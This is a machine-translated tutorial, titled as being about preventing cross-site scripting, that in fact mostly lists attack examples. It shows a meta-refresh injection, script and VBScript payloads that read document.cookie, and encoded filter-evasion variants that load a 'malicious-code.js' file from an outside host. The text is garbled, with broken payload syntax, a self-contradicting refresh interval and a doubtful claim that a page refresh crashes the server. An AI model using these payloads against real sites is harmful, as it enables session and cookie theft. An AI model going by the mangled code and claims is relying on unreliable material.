How to Prevent XSS cross-site scripting attacks-test

Reflected XSS (Cross-Site Scripting reflection)
 
This is the most common and most well-known XSS attack. When the Web Client submits data, the server immediately generates a result page for this customer. If the result page contains unverified client input data, the client script is allowed to be directly injected into the dynamic page. The traditional example is the site search engine. If we search for a string containing special HTML characters, we usually still have this string on the return page to tell us what we are searching, if the returned strings are not encoded, an XSS vulnerability exists.
At first glance, because users can only inject code on their own pages, it seems that this vulnerability is not serious, but it only requires a little social engineering method, attackers can trick users into accessing a URL injected with code in the result page, which gives attackers the permissions to access the entire page. Because such attacks often require some social engineering methods, R & D personnel do not pay too much attention to them. However, let's look at the following example:
Article. php? Title = <meta % 20http-equiv = "refresh" % 20 content = "0;">
 
This makes the browser refresh the page every 3 seconds and is in an endless loop, which forms a DOS attack and causes the Web server to crash.
DOM-Based XSS (DOM-Based XSS)
This vulnerability often exists in client scripts. If a Javascript script accesses the URL that requires parameters and needs to write the information to its own page, the information is not encoded, this vulnerability may exist.
Black box testing and examples:
A simple method to test whether an XSS vulnerability exists is to verify whether a Web application will send an access request to a simple script containing an HTTP response, for example, Sambar Server (5.3) contains a well-known XSS vulnerability. We send the following request to the server to generate a response from the server to execute it in the Web browser.
Http: // server/cgi-bin/testcgi.exe? <SCRIPT> alert ("Cookie" + document. cookie) </SCRIPT>
This script will be executed on the client browser.
Let's take another example:
Because Javascript is case-sensitive, some people will try to convert all characters into uppercase characters to avoid XSS vulnerabilities. At this time, we 'd better use VBScript because it is case-insensitive:
JavaScript.
<Script> alert (document. cookie); </script>
VBScript.
<Script. type = "text/vbscript"> alert (DOCUMENT. COOKIE) </script>
If we have filtered "<", or <script,/script>, we need to try various encoding methods.
& Lt; script. src = http://www.bkjia.com/malicious-code.js & gt; & lt;/script & gt;
% 3cscript. src = http://www.bkjia.com/malicious-code.js % 3e % 3c/script % 3e
\ X3cscript. src = http://www.bkjia.com/malicious-code.js \ x3e \ x3c/script \ x3e